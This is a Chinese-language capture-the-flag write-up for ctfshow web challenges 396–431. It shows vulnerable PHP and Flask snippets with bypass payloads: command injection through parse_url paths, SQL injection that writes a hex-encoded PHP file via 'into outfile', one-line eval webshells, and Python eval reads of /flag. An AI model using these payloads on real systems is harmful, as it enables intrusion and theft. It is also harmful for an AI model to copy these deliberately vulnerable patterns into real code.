Bootstrap

ctfshow 其他

web396、397、398、399、400、401 parse_url 绕过

源码

error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    shell_exec('echo '.$url['host'].'> '.$url['path']);
}else{
    highlight_file(__FILE__);
}

在这里插入图片描述
这里没有什么限制直接绕过
payload一

?url=http://l/l;ls -al > 1.txt

访问即可看到文件

payload二

?url=http://l/l;cat%20fl0g.php > 3.txt

这里继续访问
在这里插入图片描述

web403

error_reporting(0);
if(isset($_GET['url'])){
    $url = parse_url($_GET['url']);
    if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){
        shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
    }

}else{
    highlight_file(__FILE__);
}

首先拿到源码,简单判断一下,这里可以看到有个正则匹配,这个正则大概的意思就是匹配一个ip,所以我们只需要构造一个ip即可绕过
通过这个图片我们可以看出,我们可以执行的地方就在path
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里我放两张图片,然后就知道这里为啥是这样构造了
poc

?url=http://127.0.0.1/;echo cat fl0g.php >> a.txt

web406 filter_var绕过

require 'config.php';
//flag in db
highlight_file(__FILE__);
$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){
    $sql = "select * from links where url ='{$url}'";
    $result = $conn->query($sql);
}else{
    echo '不通过';
}

这里参考这一篇文章:PHP代码审计02之filter_var()函数缺陷
接下来简单分析一下,既然这边我们可以绕过这个函数,哪应该怎么哪到flag呢,首先这里有提示flag在数据库里面flag in db

<?php 
require 'config.php';
$sql ='select flag from flag into outfile "/var/www/html/1.txt"';
$result = $conn->query($sql);
var_dump($result); 
?>
转为16进制
http://a53d40ee-9871-49a0-8f4a-5463bc97e052.chall.ctf.show/?url=0://www.baidu.com;'union/**/select/**/1,0x3c3f70687020726571756972652027636f6e6669672e706870273b2473716c203d2773656c65637420666c61672066726f6d20666c616720696e746f206f757466696c6520222f7661722f7777772f68746d6c2f312e74787422273b24726573756c74203d2024636f6e6e2d3e7175657279282473716c293b7661725f64756d702824726573756c74293b203f3e/**/into/**/outfile/**/"/var/www/html/4.php"%23

访问1.txt即可

web407 filter_var 回调函数ipv6绕过

highlight_file(__FILE__);
error_reporting(0);
$ip=$_GET['ip'];

if(filter_var ($ip,FILTER_VALIDATE_IP)){
    call_user_func($ip);
}

class cafe{
    public static function add(){
        echo file_get_contents('flag.php');
    }
}

cafe::add

web408 filter_var非法字符可以放在双引号里面绕过检测

highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];

if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
    file_put_contents(explode('@', $email)[1], explode('@', $email)[0]);
}

email="<?=eval($_POST[1])?>"@1.php

这里用短标签的意思是因为,不能有空格,因为有个双引号然后浏览器会把空格转义为%20,然后因为双引号包含,最后导致写不进文件

参考文章php代码审计危险函数总结

web 409 (不会)

web 410 FILTER_VALIDATE_BOOLEAN 过滤器

参考文章

?b=on

web 411 FILTER_VALIDATE_BOOLEAN 过滤器

参考文章

?b=yes

web 412 PHP file_put_contents

PHP file_put_contents() 函数
在这里插入图片描述

这里我们直接写马即可,这里要记住的是先把前面的标签闭合,因为这里是包含进去,这里分号不能露,不然代码报错。

?><?php @eval($_POST[1]);&1=system(‘ls’);

web 413 file_put_contents

highlight_file(__FILE__);

$ctfshow=$_POST['ctfshow'];

if(isset($ctfshow)){
        file_put_contents('flag.php', '/*'.$ctfshow.'*/',FILE_APPEND);
    include('flag.php');
} 

这里就是在前面加了一个*/

ctfshow=/system('tac f’);/*

web414 php弱等于

布尔值true和任意字符串都弱相等

所以直接

ctfshow=-3

web415 php若等于

== :弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。简单的说,它不会比较变量类型,只比较值。

若一个数字和一个字符串进行比较或者进行运算时,PHP会把字符串转换成数字再进行比较。若字符串以数字开头,则取开头数字作为转换结果,不能转换为数字的字符串(例如"aaa"是不能转换为数字的字符串,而"123"或"123aa"就是可以转换为数字的字符串)或null,则转换为0

函数名、方法名、类名 不区分大小写

在这里插入图片描述

?k=Getflag

参考文章

web416 php 方法的调用

::用来直接调用类中的属性或方法

f=ctf::flag

web 417

这题把文件下载下来,直接给看懵了,太菜了还是直接看师傅们的把,解出来是这个

include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
	echo $flag;
}else{
	echo 'FLAG_NOT_HERE';
}
?>

web 418 extract 变量覆盖

源码

$key= 0;
$clear='clear.php';
highlight_file(__FILE__);

//获取参数
$ctfshow=$_GET['ctfshow'];
//包含清理脚本
include($clear);

extract($_POST);
if($key===0x36d){
    //帮黑阔写好后门
    eval('<?php '.$ctfshow.'?>');
}else{
    $die?die('FLAG_NOT_HERE'):clear($clear);
}

=== :强等于。在比较前会先判断两种字符串类型是否相同再进行比较,如果类型不同直接返回不相等。既比较值也比较类型。

这里有点误导让你,去写后门,但是$key===0x36d这个是强等于,0x36d 这个是integer整形,但是传的字符串却是字符型,绕不过去,所以这题用变量覆盖修改$clear就可以了,

payload

key=a&clear=;echo cat flag.php > index3.txt;&die=0

web 419 套娃


highlight_file(__FILE__);


$code = $_POST['code'];
if(strlen($code) < 17){
    eval($code);
}

Notice: Undefined index: code in /var/www/html/index.php on line 18

code=eval($_POST[1]);&1=system(‘cat flag.php’);

web 420 nl

nl命令

code=nl …/*

web 421 nl

code=nl f*

web 422 nl

code=nl *

web 423 ssti

一开始的源码是这样的


from flask import Flask
from flask import request
import os

app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

因为这一题有导入了OS,所以这里直接

open('/flag').read()

web 424 ssti


from flask import Flask
from flask import request


app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	return eval(code)
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

这道题去掉了os模块,直接查看flag就好了

open('/flag').read()

web 425 ssti 过滤os

reg = re.compile(r'os|popen')
if reg.match(code)==None:
return eval(code)

这道题有过滤,过滤开头的os,但是有点形同虚设,直接查看flag就好了

open('/flag').read()

web 426 ssti 过滤 os|popen

只匹配开头
payload

open('/flag').read()

web 427 ssti 过滤 os|popen|system

只匹配开头

open('/flag').read()

web 428 ssti 过滤os|popen|system|read

只匹配开头

open('/flag').read()

web 429 ssti 过滤了os|open|system|read

过滤有问题,只会匹配开头
payload

open('/flag').read()

open前面有个空格

web 430 ssti 过滤了os|open|system|read|eval

过滤有问题,只会匹配开头
payload

open('/flag').read() open

前面有个空格

web 431 ssti 过滤了过滤了os|open|system|read|eval|str

过滤有问题,只会匹配开头
payload

open('/flag').read() open

前面有个空格payload

;